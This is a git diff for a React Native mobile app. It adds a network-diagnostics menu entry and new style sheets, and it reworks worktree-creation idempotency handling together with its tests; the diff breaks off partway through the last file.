+++ b/mobile/src/host-list-action-sheet-actions.ts
@@ -1,9 +1,9 @@
-import { Edit3, PowerOff, RefreshCw } from 'lucide-react-native'
+import { Activity, Edit3, PowerOff, RefreshCw } from 'lucide-react-native'
 import type { ActionSheetAction } from './components/ActionSheetModal'
 import type { ConnectionState, HostProfile } from './transport/types'
 
-/** Builds the home-screen host long-press menu. Edit and Remove open a second
- *  drawer, so both must defer until this sheet's native Modal has unmounted —
+/** Builds the home-screen host long-press menu. Navigation and second drawers
+ *  defer until this sheet's native Modal has unmounted —
  *  presenting into a live one freezes the whole screen on iOS (issue #8791). */
 export function getHostListActionSheetActions(args: {
   host: HostProfile | null
@@ -13,6 +13,7 @@ export function getHostListActionSheetActions(args: {
   onDismiss: () => void
   onReconnect: (hostId: string) => void
   onDisconnect: (hostId: string) => void
+  onDiagnostics: (hostId: string) => void
   onEdit: (hostId: string) => void
   onRemove: (host: HostProfile) => void
 }): ActionSheetAction[] {
@@ -47,6 +48,14 @@ export function getHostListActionSheetActions(args: {
           }
         ]
       : []),
+    {
+      label: 'Network diagnostics',
+      icon: Activity,
+      closeBeforePress: true,
+      onPress: () => {
+        args.onDiagnostics(host.id)
+      }
+    },
     {
       label: 'Edit host',
       icon: Edit3,
diff --git a/mobile/src/host-screen/host-screen-primary-styles.ts b/mobile/src/host-screen/host-screen-primary-styles.ts
new file mode 100644
index 00000000000..c499ad2afe6
--- /dev/null
+++ b/mobile/src/host-screen/host-screen-primary-styles.ts
@@ -0,0 +1,175 @@
+import { StyleSheet } from 'react-native'
+import { colors, radii, spacing, typography } from '../theme/mobile-theme'
+
+export const hostScreenPrimaryStyles = StyleSheet.create({
+  container: {
+    flex: 1,
+    backgroundColor: colors.bgBase
+  },
+  topChrome: {
+    backgroundColor: colors.bgPanel,
+    borderBottomWidth: 1,
+    borderBottomColor: colors.borderSubtle
+  },
+  statusBar: {
+    flexDirection: 'row',
+    alignItems: 'center',
+    justifyContent: 'space-between',
+    minHeight: 34,
+    paddingTop: spacing.xs,
+    paddingHorizontal: spacing.lg
+  },
+  backButton: {
+    width: 32,
+    height: 32,
+    alignItems: 'center',
+    justifyContent: 'center',
+    marginRight: spacing.xs
+  },
+  sidebarCollapseButton: {
+    width: 24,
+    height: 24,
+    alignItems: 'center',
+    justifyContent: 'center',
+    borderRadius: radii.button,
+    marginLeft: spacing.xs
+  },
+  hostIdentity: {
+    flex: 1,
+    flexDirection: 'row',
+    alignItems: 'center',
+    minWidth: 0,
+    marginRight: spacing.md
+  },
+  hostNameText: {
+    flex: 1,
+    fontSize: 15,
+    fontWeight: '600',
+    color: colors.textPrimary
+  },
+  reconnectButton: {
+    paddingVertical: 4,
+    paddingHorizontal: spacing.sm,
+    borderRadius: radii.button,
+    backgroundColor: colors.bgPanel,
+    borderWidth: 1,
+    borderColor: colors.borderSubtle
+  },
+  reconnectButtonText: {
+    color: colors.textPrimary,
+    fontSize: typography.metaSize,
+    fontWeight: '600'
+  },
+  toolbar: {
+    flexDirection: 'row',
+    alignItems: 'center',
+    paddingVertical: spacing.xs + 2,
+    paddingHorizontal: spacing.md,
+    gap: spacing.sm,
+    borderBottomWidth: 1,
+    borderBottomColor: colors.borderSubtle
+  },
+  embeddedToolbar: {
+    paddingVertical: spacing.xs + 2,
+    paddingHorizontal: spacing.sm,
+    gap: spacing.xs,
+    borderBottomWidth: 1,
+    borderBottomColor: colors.borderSubtle
+  },
+  embeddedToolbarRow: {
+    flexDirection: 'row',
+    alignItems: 'center',
+    gap: spacing.sm
+  },
+  embeddedFilterChip: {
+    flex: 1,
+    minWidth: 0,
+    height: 30,
+    justifyContent: 'center',
+    paddingHorizontal: spacing.xs,
+    paddingVertical: 0
+  },
+  embeddedModeButton: {
+    flex: 1,
+    minWidth: 0,
+    height: 30,
+    justifyContent: 'center',
+    paddingHorizontal: spacing.xs,
+    paddingVertical: 0
+  },
+  filterChip: {
+    flexDirection: 'row',
+    alignItems: 'center',
+    gap: 4,
+    paddingHorizontal: spacing.sm + 2,
+    paddingVertical: spacing.xs,
+    borderRadius: 12,
+    borderWidth: 1,
+    borderColor: colors.borderSubtle
+  },
+  filterChipActive: {
+    borderColor: colors.textSecondary,
+    backgroundColor: colors.bgRaised
+  },
+  filterChipText: {
+    fontSize: 12,
+    color: colors.textSecondary
+  },
+  filterChipTextActive: {
+    color: colors.textPrimary
+  },
+  modeButton: {
+    flexDirection: 'row',
+    alignItems: 'center',
+    flexShrink: 1,
+    minWidth: 0,
+    gap: 4,
+    paddingHorizontal: spacing.sm,
+    paddingVertical: spacing.xs
+  },
+  sortLabel: {
+    flexShrink: 1,
+    minWidth: 0,
+    fontSize: 12,
+    color: colors.textSecondary
+  },
+  toolbarSpacer: {
+    flex: 1
+  },
+  floatingWorkspaceHeaderButton: {
+    width: 32,
+    height: 32,
+    alignItems: 'center',
+    justifyContent: 'center',
+    marginLeft: spacing.xs
+  },
+  embeddedToolbarIconButton: {
+    flex: 1,
+    height: 28,
+    alignItems: 'center',
+    justifyContent: 'center',
+    borderRadius: radii.button
+  },
+  toolbarIconDisabled: {
+    opacity: 0.6
+  },
+  searchToggle: {
+    padding: spacing.xs
+  },
+  searchBar: {
+    paddingHorizontal: spacing.md,
+    paddingVertical: spacing.sm,
+    borderBottomWidth: StyleSheet.hairlineWidth,
+    borderBottomColor: colors.borderSubtle,
+    backgroundColor: colors.bgPanel
+  },
+  centered: {
+    flex: 1,
+    alignItems: 'center',
+    justifyContent: 'center'
+  },
+  emptyText: {
+    color: colors.textSecondary,
+    fontSize: typography.bodySize
+  }
+})
diff --git a/mobile/src/host-screen/host-screen-secondary-styles.ts b/mobile/src/host-screen/host-screen-secondary-styles.ts
new file mode 100644
index 00000000000..af14aa2b97a
--- /dev/null
+++ b/mobile/src/host-screen/host-screen-secondary-styles.ts
@@ -0,0 +1,139 @@
+import { StyleSheet } from 'react-native'
+import { colors, spacing, typography } from '../theme/mobile-theme'
+
+export const hostScreenSecondaryStyles = StyleSheet.create({
+  errorText: {
+    color: colors.statusRed,
+    fontSize: typography.bodySize
+  },
+  list: {
+    paddingBottom: spacing.lg
+  },
+  sectionHeader: {
+    flexDirection: 'row',
+    alignItems: 'center',
+    paddingHorizontal: spacing.lg,
+    paddingTop: spacing.md,
+    paddingBottom: spacing.xs
+  },
+  sectionIcon: {
+    marginRight: spacing.xs
+  },
+  sectionRepoIcon: {
+    marginRight: spacing.xs
+  },
+  sectionTitle: {
+    fontSize: 11,
+    fontWeight: '600',
+    color: colors.textMuted,
+    textTransform: 'uppercase',
+    letterSpacing: 0.5
+  },
+  sectionCount: {
+    fontSize: 11,
+    color: colors.textMuted,
+    marginLeft: spacing.xs
+  },
+  separator: {
+    height: 1,
+    backgroundColor: colors.borderSubtle,
+    marginLeft: spacing.lg + 24,
+    marginRight: spacing.lg
+  },
+  filterModalHeader: {
+    flexDirection: 'row',
+    alignItems: 'center',
+    justifyContent: 'space-between',
+    paddingHorizontal: spacing.xs,
+    marginBottom: spacing.md
+  },
+  filterModalTitle: {
+    fontSize: 15,
+    fontWeight: '600',
+    color: colors.textPrimary
+  },
+  clearFiltersText: {
+    fontSize: 13,
+    color: colors.textSecondary
+  },
+  filterSectionLabel: {
+    fontSize: 11,
+    fontWeight: '600',
+    color: colors.textMuted,
+    textTransform: 'uppercase',
+    letterSpacing: 0.5,
+    marginBottom: spacing.xs,
+    paddingHorizontal: spacing.xs
+  },
+  filterGroup: {
+    backgroundColor: colors.bgPanel,
+    borderRadius: 12,
+    overflow: 'hidden',
+    marginBottom: spacing.md
+  },
+  filterRow: {
+    flexDirection: 'row',
+    alignItems: 'center',
+    paddingVertical: spacing.md,
+    paddingHorizontal: spacing.md + 2,
+    gap: spacing.sm
+  },
+  filterRowText: {
+    flex: 1,
+    fontSize: typography.bodySize,
+    color: colors.textPrimary
+  },
+  filterSeparator: {
+    height: StyleSheet.hairlineWidth,
+    backgroundColor: colors.borderSubtle,
+    marginHorizontal: spacing.md
+  },
+  filterRepoDot: {
+    width: 8,
+    height: 8,
+    borderRadius: 4
+  },
+  confirmContent: {
+    paddingBottom: spacing.lg
+  },
+  confirmTitle: {
+    fontSize: 16,
+    fontWeight: '700',
+    color: colors.textPrimary
+  },
+  confirmMessage: {
+    fontSize: typography.bodySize,
+    color: colors.textSecondary,
+    marginTop: spacing.xs,
+    lineHeight: 20
+  },
+  confirmButtons: {
+    flexDirection: 'row',
+    gap: spacing.sm
+  },
+  confirmBtn: {
+    flex: 1,
+    paddingVertical: spacing.sm + 2,
+    borderRadius: 10,
+    alignItems: 'center'
+  },
+  confirmBtnCancel: {
+    backgroundColor: colors.bgPanel
+  },
+  confirmBtnDestructive: {
+    backgroundColor: colors.statusRed
+  },
+  confirmBtnPressed: {
+    opacity: 0.7
+  },
+  confirmBtnCancelText: {
+    fontSize: typography.bodySize,
+    fontWeight: '600',
+    color: colors.textSecondary
+  },
+  confirmBtnDestructiveText: {
+    fontSize: typography.bodySize,
+    fontWeight: '600',
+    color: '#fff'
+  }
+})
diff --git a/mobile/src/host-screen/host-screen-styles.ts b/mobile/src/host-screen/host-screen-styles.ts
new file mode 100644
index 00000000000..f4fdb7bed5d
--- /dev/null
+++ b/mobile/src/host-screen/host-screen-styles.ts
@@ -0,0 +1,7 @@
+import { hostScreenPrimaryStyles } from './host-screen-primary-styles'
+import { hostScreenSecondaryStyles } from './host-screen-secondary-styles'
+
+export const hostScreenStyles = {
+  ...hostScreenPrimaryStyles,
+  ...hostScreenSecondaryStyles
+}
diff --git a/mobile/src/pair-scan-styles.ts b/mobile/src/pair-scan-styles.ts
new file mode 100644
index 00000000000..af1b936fb54
--- /dev/null
+++ b/mobile/src/pair-scan-styles.ts
@@ -0,0 +1,185 @@
+import { StyleSheet } from 'react-native'
+import { colors, spacing, radii, typography } from '../src/theme/mobile-theme'
+
+export const pairScanStyles = StyleSheet.create({
+  container: {
+    flex: 1,
+    backgroundColor: colors.bgBase,
+    padding: spacing.lg
+  },
+  backButton: {
+    width: 36,
+    height: 36,
+    borderRadius: 18,
+    alignItems: 'center',
+    justifyContent: 'center',
+    marginBottom: spacing.sm
+  },
+  steps: {
+    gap: spacing.sm,
+    marginBottom: spacing.lg,
+    marginLeft: 7
+  },
+  step: {
+    flexDirection: 'row',
+    alignItems: 'center',
+    gap: spacing.sm
+  },
+  stepBadge: {
+    width: 22,
+    height: 22,
+    borderRadius: 11,
+    backgroundColor: colors.bgRaised,
+    alignItems: 'center',
+    justifyContent: 'center'
+  },
+  stepNumber: {
+    fontSize: 12,
+    fontWeight: '700',
+    color: colors.textSecondary
+  },
+  stepText: {
+    fontSize: typography.bodySize,
+    color: colors.textSecondary
+  },
+  cameraWrap: {
+    flex: 1,
+    borderRadius: radii.camera,
+    overflow: 'hidden'
+  },
+  // Why: holds the layout slot while the camera is unmounted during
+  // paste, so the bottom action button doesn't snap up to fill the
+  // empty space.
+  cameraPlaceholder: {
+    flex: 1,
+    backgroundColor: colors.bgPanel,
+    borderRadius: radii.camera
+  },
+  camera: {
+    ...StyleSheet.absoluteFillObject
+  },
+  reticle: {
+    ...StyleSheet.absoluteFillObject,
+    alignItems: 'center',
+    justifyContent: 'center'
+  },
+  reticleFrame: {
+    position: 'relative'
+  },
+  corner: {
+    position: 'absolute',
+    width: 28,
+    height: 28,
+    borderColor: 'rgba(255,255,255,0.7)'
+  },
+  cornerTL: {
+    top: 0,
+    left: 0,
+    borderTopWidth: 2.5,
+    borderLeftWidth: 2.5,
+    borderTopLeftRadius: 6
+  },
+  cornerTR: {
+    top: 0,
+    right: 0,
+    borderTopWidth: 2.5,
+    borderRightWidth: 2.5,
+    borderTopRightRadius: 6
+  },
+  cornerBL: {
+    bottom: 0,
+    left: 0,
+    borderBottomWidth: 2.5,
+    borderLeftWidth: 2.5,
+    borderBottomLeftRadius: 6
+  },
+  cornerBR: {
+    bottom: 0,
+    right: 0,
+    borderBottomWidth: 2.5,
+    borderRightWidth: 2.5,
+    borderBottomRightRadius: 6
+  },
+  centered: {
+    flex: 1,
+    alignItems: 'center',
+    justifyContent: 'center'
+  },
+  title: {
+    fontSize: typography.titleSize,
+    fontWeight: '600',
+    color: colors.textPrimary,
+    marginBottom: spacing.sm
+  },
+  subtitle: {
+    maxWidth: 310,
+    fontSize: typography.bodySize,
+    color: colors.textSecondary,
+    textAlign: 'center',
+    marginBottom: spacing.xl,
+    lineHeight: 20
+  },
+  connectingText: {
+    color: colors.textSecondary,
+    fontSize: typography.bodySize,
+    marginTop: spacing.lg
+  },
+  logSlot: {
+    width: '100%',
+    marginTop: spacing.lg,
+    paddingHorizontal: spacing.sm
+  },
+  errorText: {
+    color: colors.statusRed,
+    fontSize: typography.bodySize,
+    textAlign: 'center',
+    marginBottom: spacing.xl,
+    lineHeight: 20
+  },
+  primaryButton: {
+    flexDirection: 'row',
+    alignItems: 'center',
+    justifyContent: 'center',
+    gap: spacing.xs,
+    backgroundColor: colors.textPrimary,
+    paddingHorizontal: spacing.xl,
+    paddingVertical: spacing.sm + 2,
+    borderRadius: radii.button
+  },
+  primaryButtonText: {
+    color: colors.bgBase,
+    fontSize: typography.bodySize,
+    fontWeight: '600'
+  },
+  pasteButton: {
+    flexDirection: 'row',
+    alignItems: 'center',
+    justifyContent: 'center',
+    gap: spacing.xs,
+    marginTop: spacing.md,
+    paddingVertical: spacing.sm,
+    borderRadius: radii.button
+  },
+  pasteButtonPressed: {
+    opacity: 0.6
+  },
+  pasteButtonText: {
+    color: colors.textSecondary,
+    fontSize: typography.bodySize,
+    fontWeight: '500'
+  },
+  errorActions: {
+    alignItems: 'center',
+    gap: spacing.sm
+  },
+  secondaryButton: {
+    paddingHorizontal: spacing.xl,
+    paddingVertical: spacing.sm,
+    borderRadius: radii.button
+  },
+  secondaryButtonText: {
+    color: colors.textSecondary,
+    fontSize: typography.bodySize,
+    fontWeight: '500'
+  }
+})
diff --git a/mobile/src/tasks/blank-workspace-create.test.ts b/mobile/src/tasks/blank-workspace-create.test.ts
index 32e9e162ef4..1d3cf2c15eb 100644
--- a/mobile/src/tasks/blank-workspace-create.test.ts
+++ b/mobile/src/tasks/blank-workspace-create.test.ts
@@ -1,9 +1,14 @@
 import { describe, expect, it } from 'vitest'
 import type { RpcClient } from '../transport/rpc-client'
 import { createBlankWorkspace } from './blank-workspace-create'
+import { WORKTREE_CREATE_DEDUPE_TTL_LEGACY_HOST_MS } from './worktree-create-idempotency-policy'
 
 type Call = { method: string; params: unknown }
 
+const IDEMPOTENT_CREATE_SUPPORT = {
+  dedupeTtlMs: WORKTREE_CREATE_DEDUPE_TTL_LEGACY_HOST_MS
+}
+
 function fakeClient(script: (method: string, call: number) => unknown, calls: Call[]): RpcClient {
   return {
     sendRequest: async (method: string, params?: unknown) => {
@@ -35,7 +40,7 @@ describe('createBlankWorkspace', () => {
       comment: undefined,
       setupDecision: 'inherit',
       nameWasGenerated: false,
-      supportsIdempotentCutoverRetry: true
+      worktreeCreateIdempotency: IDEMPOTENT_CREATE_SUPPORT
     })
 
     expect(result).toEqual({ worktreeId: 'wt-1', name: 'octopus' })
@@ -70,7 +75,7 @@ describe('createBlankWorkspace', () => {
       comment: undefined,
       setupDecision: 'inherit',
       nameWasGenerated: true,
-      supportsIdempotentCutoverRetry: true
+      worktreeCreateIdempotency: IDEMPOTENT_CREATE_SUPPORT
     })
 
     expect(calls[0]?.params).toMatchObject({ nameWasGenerated: true })
@@ -90,7 +95,7 @@ describe('createBlankWorkspace', () => {
       comment: 'spike',
       setupDecision: 'run',
       nameWasGenerated: false,
-      supportsIdempotentCutoverRetry: true
+      worktreeCreateIdempotency: IDEMPOTENT_CREATE_SUPPORT
     })
 
     const params = calls[0]?.params as Record<string, unknown>
@@ -122,7 +127,7 @@ describe('createBlankWorkspace', () => {
       comment: undefined,
       setupDecision: 'inherit',
       nameWasGenerated: false,
-      supportsIdempotentCutoverRetry: true
+      worktreeCreateIdempotency: IDEMPOTENT_CREATE_SUPPORT
     })
 
     expect(result).toEqual({ worktreeId: 'wt-3', name: 'octopus-2' })
@@ -148,7 +153,7 @@ describe('createBlankWorkspace', () => {
       comment: undefined,
       setupDecision: 'inherit',
       nameWasGenerated: false,
-      supportsIdempotentCutoverRetry: true
+      worktreeCreateIdempotency: IDEMPOTENT_CREATE_SUPPORT
     })
 
     expect(result).toEqual({ worktreeId: 'wt-4', name: 'octopus-2' })
@@ -167,7 +172,7 @@ describe('createBlankWorkspace', () => {
       comment: undefined,
       setupDecision: 'skip',
       nameWasGenerated: false,
-      supportsIdempotentCutoverRetry: true
+      worktreeCreateIdempotency: IDEMPOTENT_CREATE_SUPPORT
     })
 
     expect(result).toEqual({ error: 'SSH connection is not available' })
diff --git a/mobile/src/tasks/blank-workspace-create.ts b/mobile/src/tasks/blank-workspace-create.ts
index d81d75d5a69..77d0dccc4d3 100644
--- a/mobile/src/tasks/blank-workspace-create.ts
+++ b/mobile/src/tasks/blank-workspace-create.ts
@@ -1,6 +1,7 @@
 import type { TuiAgent } from '../../../src/shared/tui-agent'
 import type { RpcClient } from '../transport/rpc-client'
 import { createWorktreeWithNameRetry, type WorktreeCreateResult } from './worktree-create-retry'
+import type { WorktreeCreateIdempotencyProbe } from './worktree-create-idempotency-policy'
 import {
   agentLaunchCreateFields,
   type WorkspaceCreateSetupDecision
@@ -19,13 +20,13 @@ export async function createBlankWorkspace(args: {
   /** True when `baseName` is a generated creature name rather than one the user typed; only then
    *  may the host retire it. */
   nameWasGenerated: boolean
-  supportsIdempotentCutoverRetry: boolean | Promise<boolean>
+  worktreeCreateIdempotency: WorktreeCreateIdempotencyProbe
 }): Promise<WorktreeCreateResult> {
   return createWorktreeWithNameRetry({
     client: args.client,
     baseName: args.baseName,
     nameWasGenerated: args.nameWasGenerated,
-    supportsIdempotentCutoverRetry: args.supportsIdempotentCutoverRetry,
+    worktreeCreateIdempotency: args.worktreeCreateIdempotency,
     buildParams: (name) => {
       const params: Record<string, unknown> = {
         repo: `id:${args.repoId}`,
diff --git a/mobile/src/tasks/source-workspace-create.test.ts b/mobile/src/tasks/source-workspace-create.test.ts
index ba1ddc4b300..66974f63443 100644
--- a/mobile/src/tasks/source-workspace-create.test.ts
+++ b/mobile/src/tasks/source-workspace-create.test.ts
@@ -2,6 +2,7 @@ import { describe, expect, it } from 'vitest'
 import type { RpcClient } from '../transport/rpc-client'
 import { createWorkspaceFromComposerSource } from './source-workspace-create'
 import type { MobileComposerCreateSelection } from './mobile-composer-source-types'
+import { WORKTREE_CREATE_DEDUPE_TTL_LEGACY_HOST_MS } from './worktree-create-idempotency-policy'
 
 type Call = { method: string; params: Record<string, unknown> }
 
@@ -24,6 +25,9 @@ function fakeClient(handle: (method: string, call: number) => unknown, calls: Ca
 }
 
 const agent = { choice: 'blank' as const }
+const IDEMPOTENT_CREATE_SUPPORT = {
+  dedupeTtlMs: WORKTREE_CREATE_DEDUPE_TTL_LEGACY_HOST_MS
+}
 
 const baseArgs = {
   targetRepoId: 'repo-1',
@@ -31,7 +35,7 @@ const baseArgs = {
   agent,
   workspaceName: undefined,
   note: undefined,
-  supportsIdempotentCutoverRetry: true
+  worktreeCreateIdempotency: IDEMPOTENT_CREATE_SUPPORT
 }
 
 describe('createWorkspaceFromComposerSource', () => {
diff --git a/mobile/src/tasks/source-workspace-create.ts b/mobile/src/tasks/source-workspace-create.ts
index 53b6a2bd03f..53e13e68ea3 100644
--- a/mobile/src/tasks/source-workspace-create.ts
+++ b/mobile/src/tasks/source-workspace-create.ts
@@ -13,6 +13,7 @@ import {
   type WorkspaceCreateTaskItem
 } from './workspace-create-params'
 import { createWorktreeWithNameRetry, type WorktreeCreateResult } from './worktree-create-retry'
+import type { WorktreeCreateIdempotencyProbe } from './worktree-create-idempotency-policy'
 
 // The agent bundle the modal resolved: `choice` drives launch resolution — the
 // host applies the agent's launch args (permission flags) and shell quoting.
@@ -29,7 +30,7 @@ export type CreateWorkspaceFromComposerArgs = {
   workspaceName: string | undefined
   note: string | undefined
   nameIsAutoManaged?: boolean
-  supportsIdempotentCutoverRetry: boolean | Promise<boolean>
+  worktreeCreateIdempotency: WorktreeCreateIdempotencyProbe
 }
 
 export async function createWorkspaceFromComposerSource(
@@ -92,7 +93,7 @@ async function createWorkItemWorkspace(args: {
   workspaceName: string | undefined
   note: string | undefined
   nameIsAutoManaged?: boolean
-  supportsIdempotentCutoverRetry: boolean | Promise<boolean>
+  worktreeCreateIdempotency: WorktreeCreateIdempotencyProbe
 }): Promise<WorktreeCreateResult> {
   const { client, selection, targetRepoId, setupDecision, agent, workspaceName, note } = args
   const item = selection.item
@@ -137,7 +138,7 @@ async function createWorkItemWorkspace(args: {
   return createWorktreeWithNameRetry({
     client,
     baseName,
-    supportsIdempotentCutoverRetry: args.supportsIdempotentCutoverRetry,
+    worktreeCreateIdempotency: args.worktreeCreateIdempotency,
     buildParams: (name) => ({ ...params, name })
   })
 }
@@ -150,7 +151,7 @@ async function createBranchWorkspace(args: {
   agent: WorkspaceCreateAgentBundle
   workspaceName: string | undefined
   note: string | undefined
-  supportsIdempotentCutoverRetry: boolean | Promise<boolean>
+  worktreeCreateIdempotency: WorktreeCreateIdempotencyProbe
 }): Promise<WorktreeCreateResult> {
   const { client, selection, targetRepoId, setupDecision, agent, workspaceName, note } = args
   const createdWithAgentId = agent.choice === 'blank' ? undefined : agent.choice
@@ -174,7 +175,7 @@ async function createBranchWorkspace(args: {
     return createWorktreeWithNameRetry({
       client,
       baseName,
-      supportsIdempotentCutoverRetry: args.supportsIdempotentCutoverRetry,
+      worktreeCreateIdempotency: args.worktreeCreateIdempotency,
       maxAttempts: 1,
       buildParams: (name) =>
         applyCommon({
@@ -196,7 +197,7 @@ async function createBranchWorkspace(args: {
   return createWorktreeWithNameRetry({
     client,
     baseName,
-    supportsIdempotentCutoverRetry: args.supportsIdempotentCutoverRetry,
+    worktreeCreateIdempotency: args.worktreeCreateIdempotency,
     buildParams: (candidate) => {
       const params: Record<string, unknown> = {
         repo: `id:${targetRepoId}`,
@@ -220,7 +221,7 @@ async function createNewBranchWorkspace(args: {
   agent: WorkspaceCreateAgentBundle
   workspaceName: string | undefined
   note: string | undefined
-  supportsIdempotentCutoverRetry: boolean | Promise<boolean>
+  worktreeCreateIdempotency: WorktreeCreateIdempotencyProbe
 }): Promise<WorktreeCreateResult> {
   const { client, selection, targetRepoId, setupDecision, agent, note } = args
   const createdWithAgentId = agent.choice === 'blank' ? undefined : agent.choice
@@ -232,7 +233,7 @@ async function createNewBranchWorkspace(args: {
   return createWorktreeWithNameRetry({
     client,
     baseName: selection.branchName,
-    supportsIdempotentCutoverRetry: args.supportsIdempotentCutoverRetry,
+    worktreeCreateIdempotency: args.worktreeCreateIdempotency,
     buildParams: (candidate) => {
       const params: Record<string, unknown> = {
         repo: `id:${targetRepoId}`,
diff --git a/mobile/src/tasks/worktree-create-capability.test.ts b/mobile/src/tasks/worktree-create-capability.test.ts
index 8b1e55efcae..cad108e29d7 100644
--- a/mobile/src/tasks/worktree-create-capability.test.ts
+++ b/mobile/src/tasks/worktree-create-capability.test.ts
@@ -2,8 +2,21 @@ import { describe, expect, it } from 'vitest'
 import type { RpcClient } from '../transport/rpc-client'
 import { LogicalClientCutoverError } from '../transport/stable-logical-rpc-client'
 import { readNewWorktreeRuntimeCapabilities } from './worktree-create-capability'
+import {
+  WORKTREE_CREATE_DEDUPE_TTL_CLIENT_CEILING_MS,
+  WORKTREE_CREATE_DEDUPE_TTL_LEGACY_HOST_MS
+} from './worktree-create-idempotency-policy'
 
-function statusClient(outcomes: Array<'cutover' | 'error' | string[]>): RpcClient {
+type StatusOutcome =
+  | 'cutover'
+  | 'error'
+  | string[]
+  | {
+      capabilities?: string[]
+      worktreeCreateIdempotency?: unknown
+    }
+
+function statusClient(outcomes: StatusOutcome[]): RpcClient {
   let call = 0
   return {
     sendRequest: async () => {
@@ -15,10 +28,13 @@ function statusClient(outcomes: Array<'cutover' | 'error' | string[]>): RpcClien
       if (outcome === 'error') {
         throw new Error('offline')
       }
+      const result = Array.isArray(outcome)
+        ? { capabilities: outcome, hostPlatform: 'darwin' }
+        : { ...outcome, hostPlatform: 'darwin' }
       return {
         id: '1',
         ok: true,
-        result: { capabilities: outcome, hostPlatform: 'darwin' },
+        result,
         _meta: { runtimeId: 'r' }
       }
     }
@@ -29,23 +45,123 @@ describe('readNewWorktreeRuntimeCapabilities', () => {
   it('reads task and idempotent-create support from status.get', async () => {
     await expect(
       readNewWorktreeRuntimeCapabilities(
-        statusClient([['mobile.tasks.v1', 'worktree.create-idempotency.v1']])
+        statusClient([
+          {
+            capabilities: ['mobile.tasks.v1', 'worktree.create-idempotency.v1'],
+            worktreeCreateIdempotency: { dedupeTtlMs: 20_000 }
+          }
+        ])
       )
     ).resolves.toEqual({
       tasksSupported: true,
-      idempotentWorktreeCreateSupported: true,
+      worktreeCreateIdempotency: { dedupeTtlMs: 20_000 },
       hostPlatform: 'darwin'
     })
   })
 
-  it('retries the safe status probe after a connection cutover', async () => {
+  it('uses the bounded fallback for an old idempotent host without an advertisement', async () => {
+    await expect(
+      readNewWorktreeRuntimeCapabilities(statusClient([['worktree.create-idempotency.v1']]))
+    ).resolves.toEqual({
+      tasksSupported: false,
+      worktreeCreateIdempotency: { dedupeTtlMs: WORKTREE_CREATE_DEDUPE_TTL_CLIENT_CEILING_MS },
+      hostPlatform: 'darwin'
+    })
+  })
+
+  it('fails closed when a valid idempotency container omits dedupeTtlMs', async () => {
     await expect(
       readNewWorktreeRuntimeCapabilities(
-        statusClient(['cutover', ['worktree.create-idempotency.v1']])
+        statusClient([
+          {
+            capabilities: ['worktree.create-idempotency.v1'],
+            worktreeCreateIdempotency: {}
+          }
+        ])
       )
     ).resolves.toEqual({
       tasksSupported: false,
-      idempotentWorktreeCreateSupported: true,
+      worktreeCreateIdempotency: { dedupeTtlMs: 0 },
+      hostPlatform: 'darwin'
+    })
+  })
+
+  it.each([
+    { label: 'null', value: null },
+    { label: 'string', value: 'nonsense' },
+    { label: 'number', value: 20_000 },
+    { label: 'empty array', value: [] }
+  ])(
+    'fails closed for a malformed idempotency container ($label)',
+    async ({ value: worktreeCreateIdempotency }) => {
+      await expect(
+        readNewWorktreeRuntimeCapabilities(
+          statusClient([
+            {
+              capabilities: ['worktree.create-idempotency.v1'],
+              worktreeCreateIdempotency
+            }
+          ])
+        )
+      ).resolves.toEqual({
+        tasksSupported: false,
+        worktreeCreateIdempotency: { dedupeTtlMs: 0 },
+        hostPlatform: 'darwin'
+      })
+    }
+  )
+
+  it('clamps an over-large host advertisement to the client fallback ceiling', async () => {
+    await expect(
+      readNewWorktreeRuntimeCapabilities(
+        statusClient([
+          {
+            capabilities: ['worktree.create-idempotency.v1'],
+            worktreeCreateIdempotency: { dedupeTtlMs: 600_000 }
+          }
+        ])
+      )
+    ).resolves.toEqual({
+      tasksSupported: false,
+      worktreeCreateIdempotency: { dedupeTtlMs: WORKTREE_CREATE_DEDUPE_TTL_LEGACY_HOST_MS },
+      hostPlatform: 'darwin'
+    })
+  })
+
+  it.each(['60000', -1, Number.NaN, 60_000.5, {}])(
+    'fails closed for malformed host advertisement %j',
+    async (advertisedDedupeTtlMs) => {
+      await expect(
+        readNewWorktreeRuntimeCapabilities(
+          statusClient([
+            {
+              capabilities: ['worktree.create-idempotency.v1'],
+              worktreeCreateIdempotency: { dedupeTtlMs: advertisedDedupeTtlMs }
+            }
+          ])
+        )
+      ).resolves.toEqual({
+        tasksSupported: false,
+        worktreeCreateIdempotency: { dedupeTtlMs: 0 },
+        hostPlatform: 'darwin'
+      })
+    }
+  )
+
+  it('retries the safe status probe after a connection cutover', async () => {
+    await expect(
+      readNewWorktreeRuntimeCapabilities(
+        statusClient([
+          'cutover',
+          {
+            capabilities: ['worktree.create-idempotency.v1'],
+            worktreeCreateIdempotency: { dedupeTtlMs: 30_000 }
+          }
+        ])
+      )
+    ).resolves.toEqual({
+      tasksSupported: false,
+      worktreeCreateIdempotency: { dedupeTtlMs: 30_000 },
       hostPlatform: 'darwin'
     })
   })
@@ -53,7 +169,7 @@ describe('readNewWorktreeRuntimeCapabilities', () => {
   it('fails closed when capability detection is unavailable', async () => {
     await expect(readNewWorktreeRuntimeCapabilities(statusClient(['error']))).resolves.toEqual({
       tasksSupported: false,
-      idempotentWorktreeCreateSupported: false,
+      worktreeCreateIdempotency: false,
       hostPlatform: null
     })
   })
diff --git a/mobile/src/tasks/worktree-create-capability.ts b/mobile/src/tasks/worktree-create-capability.ts
index 6083120c7a4..c4ca8170312 100644
--- a/mobile/src/tasks/worktree-create-capability.ts
+++ b/mobile/src/tasks/worktree-create-capability.ts
@@ -4,6 +4,11 @@ import { isLogicalClientCutoverError } from '../transport/stable-logical-rpc-cli
 import type { RpcSuccess } from '../transport/types'
 import { readMobileRuntimeHostPlatform } from '../transport/mobile-runtime-host-platform'
 import { MOBILE_TASKS_CAPABILITY } from './mobile-tasks-capability'
+import {
+  WORKTREE_CREATE_DEDUPE_TTL_LEGACY_HOST_MS,
+  resolveWorktreeCreateIdempotencySupport,
+  type WorktreeCreateIdempotencySupport
+} from './worktree-create-idempotency-policy'
 
 // Why: older hosts strip worktree.create's clientMutationId, so mobile must not
 // replay an ambiguous create unless the host advertises idempotency support.
@@ -14,13 +19,13 @@ const STATUS_CUTOVER_MAX_RETRIES = 5
 
 export type NewWorktreeRuntimeCapabilities = {
   tasksSupported: boolean
-  idempotentWorktreeCreateSupported: boolean
+  worktreeCreateIdempotency: WorktreeCreateIdempotencySupport | false
   hostPlatform: NodeJS.Platform | null
 }
 
 const UNSUPPORTED_CAPABILITIES: NewWorktreeRuntimeCapabilities = {
   tasksSupported: false,
